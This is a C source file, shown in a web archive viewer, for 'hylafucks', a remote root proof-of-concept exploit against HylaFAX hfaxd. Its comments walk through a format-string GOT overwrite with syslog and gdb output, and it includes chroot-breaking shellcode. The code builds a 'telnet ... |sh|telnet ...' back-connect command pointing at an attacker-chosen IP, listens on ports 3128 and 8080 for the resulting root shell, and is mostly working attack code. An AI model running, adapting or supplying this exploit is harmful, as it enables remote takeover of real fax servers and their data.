home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / hylafucks.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  717 lines

  1. /*** Hylafax remote root PoC exploit
  2.      (C) 2003 Sebastian Krahmer  <krahmer@cs.uni-potsdam.de>
  3.  
  4.         *** FOR EDUCATIONAL PURPOSES ONLY ****
  5.  
  6. The phrack 59 (www.phrack.org !) article about format strings
  7. on the heap helped a lot. Thanks to gera, fozzy and juliano
  8. for hints.
  9.  
  10.  
  11. How to get the right n$ values from syslog:
  12.  
  13. Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
  14. Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24
  15.  
  16. So, %350$n is a good choice since a write would located on valid stack.
  17.  
  18. Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
  19. Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49
  20.  
  21. At 0xbffff24 you find the value 0x4f464e49 via gdb, and
  22. brute forcing %1$x to %1000$x shows that at %959$x (see syslog
  23. output above) the value of the 0xbffff24 pointer can be found.
  24. Thus we first write the GOT address we want to modify to 0xbffff24
  25. via the %350$n and then using the value of *0xbffff24 (which is the
  26. address of the GOT entry we want to modify) as a pointer again to
  27. finally write the GOT entry.
  28.  
  29. strace -i -e raw=read -etrace=read  -f -p 3293 2>&1
  30.  
  31. [pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
  32.                                ^^^^^^^^^ network input buffer
  33.  
  34. [pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9
  35.  
  36. (gdb) x/100x 0x808c6b8
  37. ...
  38. 0x808c6f8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  39. 0x808c708:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  40. 0x808c718:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  41. 0x808c728:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  42. 0x808c738:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  43. 0x808c748:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  44. 0x808c758:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  45. 0x808c768:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  46. 0x808c778:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  47. 0x808c788:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  48. 0x808c798:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  49. 0x808c7a8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  50. 0x808c7b8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  51. 0x808c7c8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
  52. ...
  53.  
  54. 0x804c1f0 <fprintf>:    jmp    *0x80835e0
  55. (gdb) x/i 0x804c1f0
  56.  
  57. Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
  58. This gives the format strings:
  59.  
  60.  site trigger %%134755804d%%350$n\n"
  61.                 ^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)
  62.  
  63.  site trigger %%%ud%%%d$n\n",
  64.                  ^^ here the address of the buffer holding the shellcode
  65.                     is palced i.e. 0x808c780. This is variable in the
  66.                     target struct.
  67.  
  68.  
  69. The 0th target (-t 0) is a debug target which makes hfaxd sending all
  70. the fine stuff to syslogd. Then you can look which n$ are usable.
  71.  
  72. Now for the shellcode: we need a chroot breakign one. It mounts proc
  73. to the chroot cage, modifies modprobe path via it and triggers a
  74. modprobe call by kernel via an invalid ELF file. The called
  75. "modprobe" is indeed a back-connecting shellscript. Outta.
  76.  
  77.  
  78. <--- shellcode -->
  79. ; nasm -f elf code.s
  80.  
  81. GLOBAL cbegin
  82. GLOBAL cend
  83.  
  84. cbegin:
  85.     xor eax, eax
  86.     mov al, 23
  87.     xor ebx, ebx
  88.     int 0x80        ; setuid(0)
  89.  
  90.     jmp short proc1
  91.  
  92. ; mount proc FS
  93.  
  94. mountit:
  95.     pop ebx
  96.     xor ecx, ecx
  97.     mov [ebx+4], cl        ; terminate string with \0
  98.     xor eax, eax
  99.     mov al, 39
  100.     xor ecx, ecx
  101.     mov cx, 0x1ff
  102.     int 0x80        ; mkdir("proc", 0755);
  103.  
  104.     mov ecx, ebx
  105.     mov edx, ebx
  106.     xor esi, esi
  107.     xor edi, edi
  108.     xor eax, eax
  109.     mov al, 21        ; mount("proc", "proc", "proc", 0, NULL)
  110.     int 0x80
  111.  
  112.     jmp short pshell1
  113.  
  114. ; open connect shell script
  115. op:
  116.     pop ebx
  117.     xor eax, eax
  118.     mov [ebx+1], al        ; terminate string with \0
  119.     mov al, 8
  120.     xor ecx, ecx
  121.     mov cx, 0x1ff
  122.     int 0x80        ; creat("p", 0777);    
  123.  
  124.  
  125.     jmp short connect1
  126.  
  127. proc1:    
  128.     jmp short proc
  129. ; write it 
  130. wp:
  131.     pop ecx
  132.     mov ebx, eax
  133.     dec byte [ecx+9]    ; create a '\n'
  134.     mov al, 4
  135.     xor edx, edx
  136.     mov dl, 68
  137.     int 0x80        ; write("#!/bin/sh...", 68)
  138.  
  139.     mov al, 6
  140.     int 0x80        ; close
  141.  
  142.     jmp short elfp
  143.  
  144. ; open weird ELF file to trigger modprobe
  145. oelf:
  146.     pop ebx
  147.     xor eax, eax
  148.     mov [ebx+3], al        ; terminate string with \0
  149.     mov al, 8
  150.     xor ecx, ecx
  151.     mov cx, 0x1ff
  152.     int 0x80        ; creat("elf", 0777);    
  153.  
  154.     jmp short elfh        ;
  155.  
  156. ; write weird ELF
  157. welf:    pop ecx
  158.     mov ebx, eax        ; fd to ebx
  159.     xor edx, edx
  160.     mov dl, 20
  161.     mov al, 4
  162.     int 0x80        ; write()
  163.  
  164.     mov al, 6
  165.     int 0x80        ; close weird ELF
  166.  
  167.     jmp short modp
  168.  
  169. pshell1:
  170.     jmp short pshell
  171.  
  172. om:
  173.     pop ebx
  174.     xor eax, eax
  175.     mov al, 5
  176.     xor ecx, ecx
  177.     mov [ebx+24], cl
  178.     inc cl
  179.     int 0x80        ; open("...modprobe", 1)
  180.  
  181.     jmp short mpath
  182.  
  183. wm:
  184.     pop ecx
  185.     mov ebx, eax        ; fd to ebx
  186.     mov al, 4
  187.     xor edx, edx
  188.     mov dl, 16
  189.     int 0x80        ; write(fd, "/var/spool/fax/p", 16)
  190.     
  191.     mov al, 6
  192.     int 0x80        ; close
  193.  
  194.  
  195.     mov al, 11
  196.     xor ecx, ecx
  197.  
  198.     jmp short elfp2    
  199.  
  200. connect1:
  201.     jmp short connect
  202.  
  203. exec:
  204.     pop ebx
  205.     mov [ebx+3], cl
  206.     push ecx
  207.     push ebx
  208.     mov ecx, esp
  209.     xor edx, edx
  210.     int 0x80        ; execve("elf",...)
  211.  
  212.  
  213. proc:
  214.     call mountit
  215.     db "proc."
  216.  
  217. elfp:                ; ELF path
  218.     call oelf
  219.     db "elf."
  220.  
  221. elfh:                ; ELF header triggering modprobe
  222.     call welf
  223.     db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
  224.     db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22
  225.  
  226. mpath:
  227.     call wm
  228.     db "/var/spool/fax/p"
  229.  
  230. pshell: 
  231.     call op
  232.     db "p."
  233.  
  234. modp:
  235.     call om
  236.     db "proc/sys/kernel/modprobe."
  237.  
  238. elfp2:
  239.     call exec
  240.     db "elf."
  241.  
  242. connect:
  243.     call wp
  244.     db "#!/bin/sh",0xb
  245. ;    db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
  246. cend:
  247.  
  248. <-- shellcode -->
  249.  
  250.  
  251. $ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1
  252.  
  253. >>> Hylafax exploit <<<
  254.  
  255. > Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)
  256.  
  257. site trigger %134755804d%350$n
  258. site trigger %134793088d%967$n
  259.  
  260. .....
  261. Connected!
  262. Trying 192.168.000.001...
  263. Connected to 192.168.000.001.
  264. Escape character is '^]'.
  265. Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
  266. uid=0(root) gid=0(root) groups=0(root)
  267.  12:29:38 up  9:07,  6 users,  load average: 2.25, 2.10, 2.23
  268. USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
  269. stealth  tty2      03:23   48:24   0.73s  0.05s /usr/X11R6/bin/xinit4
  270. stealth  pts/2     11:42    1:41   0.61s  1.06s xterm
  271. stealth  pts/1     11:42    1.00s  4.50s  0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
  272. stealth  pts/3     11:42    6.00s  0.66s  3.08s xterm
  273. stealth  pts/4     12:24    2:52   0.27s  0.30s xterm
  274.  
  275. In order to work, the config need a debug level of at least 2:
  276.  
  277. ServerTracing:          0x002
  278.  
  279. in hfaxd.conf.
  280.  
  281. ***/
  282.  
  283. #include <stdio.h>
  284. #include <sys/types.h>
  285. #include <sys/socket.h>
  286. #include <netinet/in.h>
  287. #include <netinet/tcp.h>
  288. #include <netdb.h>
  289. #include <stdlib.h>
  290. #include <errno.h>
  291. #include <unistd.h>
  292. #include <string.h>
  293. #include <signal.h>
  294. #include <sys/time.h>
  295.  
  296.  
  297.  
  298. /* Shellcodes. 
  299.  */
  300. unsigned char x86_sigtrap[] = 
  301.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  302.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  303.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  304.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  305.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  306.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  307.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  308.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  309.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  310.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  311.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  312.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
  313.     "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";
  314.  
  315.  
  316. unsigned char x86_lnx_create_blub[] =
  317.     "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
  318.     "\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
  319.     "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
  320.     "\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";
  321.  
  322.  
  323.  
  324. unsigned char x86_lnx_proc_chroot_backconnect[] =
  325.     "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
  326.     "\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
  327.     "\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
  328.     "\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
  329.     "\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
  330.     "\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
  331.     "\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
  332.     "\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
  333.     "\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
  334.     "\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
  335.     "\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
  336.     "\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
  337.     "\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
  338.     "\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
  339.     "\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
  340.     "\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
  341.     "\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
  342.     "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
  343.     "\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
  344.     "\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
  345.     "\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
  346.     "\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
  347.     "\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
  348.     "\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
  349.     "\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";
  350.  
  351.  
  352. unsigned char back_ip[128];
  353.  
  354. struct {
  355.     char *dist, *package, *fmt, *code;
  356.     u_int16_t n1, n2;
  357.     u_int32_t nbuf;
  358. } targets[] = {
  359.     { "debug", "debug", "debug", "debug", 0, 1, 0
  360.     },
  361.     { "SuSE Linux 8.2",
  362.       "hylafax-4.1.5-43",
  363.       "site trigger %%134755804d%%350$n\n"
  364.       "site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
  365.       x86_lnx_proc_chroot_backconnect,
  366.       950, 999,    /* start/stop values for bruteforcing 2nd n$ */
  367.       0x808c780
  368.     },
  369.     { "SuSE Linux 8.1",
  370.       "hylafax-4.1.3-32",
  371.       "site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
  372.       "site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
  373.       x86_lnx_proc_chroot_backconnect,
  374.       940, 999,
  375.       0x808aa00 
  376.     }
  377.     
  378. };
  379.  
  380. int verbose = 0;
  381.  
  382. int list_targets()
  383. {
  384.     int i;
  385.     for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
  386.         printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
  387.     }
  388.     return 0;
  389. }
  390.  
  391.  
  392. void die(const char *s)
  393. {
  394.     perror(s);
  395.     exit(errno);
  396. }
  397.  
  398.  
  399. int writen(int fd, const void *buf, size_t len)
  400. {
  401.     int o = 0, n;
  402.  
  403.     while (len > 0) {
  404.         if ((n = write(fd, buf+o, len)) < 0)
  405.             return n;
  406.         len -= n;
  407.         o += n;
  408.     }
  409.     return o;
  410. }
  411.  
  412. /* Simple tcp_connect(). Disables Nagle.
  413.  */
  414. int tcp_connect(const char *host, u_short port)
  415. {
  416.     int sock, one = 1, len = sizeof(one);
  417.     struct hostent *he;
  418.     struct sockaddr_in sin;
  419.  
  420.     if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
  421.         die("sock");
  422.  
  423.     if ((he = gethostbyname(host)) == NULL) {
  424.         herror("gethostbyname");
  425.         exit(EXIT_FAILURE);
  426.     }
  427.  
  428.     memset(&sin, 0, sizeof(sin));
  429.     memcpy(&sin.sin_addr, he->h_addr, he->h_length);
  430.     sin.sin_family = AF_INET;
  431.     sin.sin_port = port == 0 ? htons(4559):htons(port);
  432.  
  433.     if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
  434.         close(sock);
  435.         return -1;
  436.     }
  437.     if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
  438.         die("setsockopt");
  439.  
  440.     return sock;
  441. }
  442.  
  443.  
  444. void usage(const char *s)
  445. {
  446.     fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n" 
  447.                     "Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
  448.                     "\t-u user:\tthe user to login as (default 'foo')\n"
  449.                     "\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
  450.                     "\t\t\trequired on all setups\n"
  451.                     "\t-t target:\tspecifies remote package/OS\n"
  452.                     "\t-b IP:\t\tthe IP for the back-connect\n\n"
  453.                     "use -t -1 for a target list. 0 is debug target; 1 is default.\n"
  454.                     "Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
  455.     exit(1);
  456. }
  457.  
  458.  
  459. void wait4shell(int p)
  460. {
  461.     int    l, s1, s2, a1, a2;
  462.     char    buf[512];
  463.     fd_set    rfds;
  464.     char *cmd = "unset HISTFILE;uname -a;id;w\n";
  465.     struct sockaddr_in p8080, p3128;
  466.  
  467.     memset(&p8080, 0, sizeof(p8080));
  468.     memset(&p3128, 0, sizeof(p3128));
  469.  
  470.     /* Open 2 ports: 3128 and 8080 */
  471.     p8080.sin_family = AF_INET;
  472.     p8080.sin_addr.s_addr = INADDR_ANY;
  473.     p8080.sin_port = htons(8080);
  474.     p3128.sin_family = AF_INET;
  475.     p3128.sin_addr.s_addr = INADDR_ANY;
  476.     p3128.sin_port = htons(3128);
  477.  
  478.     if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
  479.         die("wait4shell::socket/1");
  480.     if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
  481.         die("wait4shell::socket/2");
  482.     if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
  483.         die("wait4shell::bind/1");
  484.     if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
  485.         die("wait4shell::bind/2");
  486.  
  487.     if (listen(s1, 1) < 0)
  488.         die("wait4shell::listen/1");
  489.     if (listen(s2, 1) < 0)
  490.         die("wait4shell::listen/2");
  491.  
  492.     if ((a1 = accept(s1, NULL, 0)) < 0)
  493.         die("wait4shell::accept/1");
  494.     if ((a2 = accept(s2, NULL, 0)) < 0)
  495.         die("wait4shell::accept/1");
  496.  
  497.     printf("\nConnected!\n");
  498.     kill(p, SIGKILL);
  499.  
  500.     if (writen(a1, cmd, strlen(cmd)) < 0)
  501.         die("wait4shell::write");
  502.  
  503.     while (1) {
  504.         FD_ZERO(&rfds);
  505.         FD_SET(0, &rfds);
  506.         FD_SET(a1, &rfds);
  507.         FD_SET(a2, &rfds);
  508.  
  509.         select(a2 + 1, &rfds, NULL, NULL, NULL);
  510.         if (FD_ISSET(0, &rfds)) {
  511.             l = read(0, buf, sizeof (buf));
  512.             if (l <= 0)
  513.                 die("wait4shell::read");
  514.             writen(a1, buf, l);
  515.         }
  516.         if (FD_ISSET(a2, &rfds)) {
  517.             l = read(a2, buf, sizeof (buf));
  518.             if (l == 0) {
  519.                 printf("connection closed by foreign host.\n");
  520.                 exit(EXIT_FAILURE);
  521.             } else if (l < 0)
  522.                 die("wait4shell::read remote");
  523.             writen(1, buf, l);
  524.         }
  525.     }
  526. }
  527.  
  528.  
  529. int expect_reply(int peer, const char *reply, char *buf, size_t blen)
  530. {
  531.     int done = 0, i = 0;
  532.  
  533.     memset(buf, 0, blen);
  534.     while (!done) {
  535.         if (i >= blen)
  536.             die("Nuts! Too much response.");
  537.         if (read(peer, &buf[i], 1) != 1)
  538.             die("expect_reply::read");
  539.         ++i;
  540.         if (buf[i-1] == '\n') {
  541.             if (verbose)
  542.                 printf("[\n%s]\n", buf);
  543.             if (strstr(buf, reply) != NULL)
  544.                 done = 1;
  545.             else {
  546.                 memset(buf, 0, blen);
  547.                 i = 0;
  548.             }
  549.         }
  550.     }
  551.     return 0;
  552. }
  553.  
  554.  
  555. int send_overflow(char *host, int port, int target, char *user, char *pass)
  556. {
  557.     char buf[1024], *crash = NULL, bip[128];
  558.     unsigned int i = 0;
  559.     int peer = -1, r = 0;
  560.     fd_set rset;
  561.     struct timeval tv;
  562.  
  563.  
  564.     for (i = targets[target].n1; i < targets[target].n2; ++i) {
  565.         close(peer);
  566.         peer = tcp_connect(host, port);
  567.         if (peer < 0)
  568.             die("send_overflow::tcp_connect");
  569.         expect_reply(peer, "220", buf, sizeof(buf));
  570.  
  571.         /* build shellcode with back-connect IP; reserve space first */
  572.         crash = malloc(strlen(targets[target].code) +
  573.                        sizeof("telnet 127.000.000.001 3128|sh|"
  574.                                "telnet 127.000.000.001 8080"));
  575.         snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
  576.             back_ip, back_ip);
  577.         sprintf(crash, "%s%s", targets[target].code, bip);
  578.  
  579.         memset(buf, 0x90, sizeof(buf));
  580.  
  581.         /* ehm... */
  582.         strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
  583.         free(crash);
  584.  
  585.         buf[sizeof(buf)-1] = '\n';
  586.         if (writen(peer, buf, sizeof(buf)) < 0)
  587.             die("send_overflow::writen/shellcode");
  588.         expect_reply(peer, "500", buf, sizeof(buf));
  589.         expect_reply(peer, "500", buf, sizeof(buf));
  590.  
  591.         /* USER/PASS epilogue */
  592.         snprintf(buf, sizeof(buf), "user %s\n", user);
  593.         if (writen(peer, buf, strlen(buf)) < 0)
  594.             die("send_overflow::writen/user");
  595.         expect_reply(peer, "\n", buf, sizeof(buf));
  596.         snprintf(buf, sizeof(buf), "pass %s\n", pass);
  597.         if (writen(peer, buf, strlen(buf)) < 0)
  598.             die("writen/pass");
  599.         expect_reply(peer, "\n", buf, sizeof(buf));
  600.     
  601.         if (strcmp(targets[target].dist, "debug") == 0) {
  602.             read(0,buf,1);
  603.             for (i = 1; i < 1000; ++i) {
  604.                 sprintf(buf, "site trigger %%%d$x\n", i);
  605.                 writen(peer, buf, strlen(buf));
  606.                 usleep(30000);
  607.             }
  608.             break;
  609.         }
  610.  
  611.  
  612.         snprintf(buf, sizeof(buf), targets[target].fmt,
  613.                  targets[target].nbuf, i);
  614.  
  615.         if (writen(peer, buf, strlen(buf)) < 0)
  616.             die("send_overflow::read");
  617.         printf("%s\n", buf);
  618.  
  619.         while (1) {
  620.             FD_ZERO(&rset);
  621.             FD_SET(peer, &rset);
  622.             tv.tv_sec = 1;
  623.             tv.tv_usec = 0;
  624.             r = select(peer+1, &rset, NULL, NULL, &tv);
  625.             if (!FD_ISSET(peer, &rset)) {
  626.                 printf(".");
  627.                 continue;
  628.             }
  629.  
  630.             r = read(peer, buf, sizeof(buf));
  631.             break;
  632.         }
  633.         printf("\n");
  634.     }
  635.  
  636.  
  637.     return peer;
  638. }
  639.  
  640.  
  641. int main(int argc, char **argv)
  642. {
  643.     int peer = -1, c = 0, target = 1, port = 0,
  644.         d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
  645.     char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";
  646.  
  647.  
  648.     while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
  649.         switch (c) {
  650.         case 'h':
  651.             host = strdup(optarg);
  652.             break;
  653.         case 'p':
  654.             port = atoi(optarg);
  655.             break;
  656.         case 't':
  657.             target = atoi(optarg);
  658.             break;
  659.         case 'v':
  660.             verbose = 1;
  661.             break;
  662.         case 'b':
  663.             back = strdup(optarg);
  664.             break;
  665.         case 'u':
  666.             user = strdup(optarg);
  667.             break;
  668.         case 'P':
  669.             pass = strdup(optarg);
  670.             break;
  671.         default:
  672.             usage(argv[0]);
  673.         }
  674.     }
  675.  
  676.     printf("\n>>> Hylafax exploit <<<\n\n");
  677.     
  678.     if (target == -1) {
  679.         list_targets();
  680.         return 0;
  681.     }
  682.  
  683.     if (!host || !back)
  684.         usage(argv[0]);
  685.  
  686.     if (target >= sizeof(targets)/sizeof(targets[0])) {
  687.         fprintf(stderr, "Invalid target!\n");
  688.         return 1;
  689.     }
  690.  
  691.     /* normalize IP */
  692.     sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
  693.     sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);
  694.  
  695.     if (verbose)
  696.         printf("Normalized back-connect IP: %s\n", back_ip);
  697.  
  698.  
  699.     setbuffer(stdout, NULL, 0);
  700.  
  701.        printf("> Attempting to exploit %s on %s:(%d)\n\n",
  702.         targets[target].package, host, port?port:4459);
  703.  
  704.     if (target != 0) {
  705.         if ((p = fork()) > 0)
  706.             wait4shell(p);
  707.     }
  708.  
  709.     peer = send_overflow(host, port, target, user, pass);
  710.  
  711.     fprintf(stderr, "Failed to exploit '%s'\n", host);
  712.     return 0;
  713. }
  714.  
  715.  
  716.  
  717.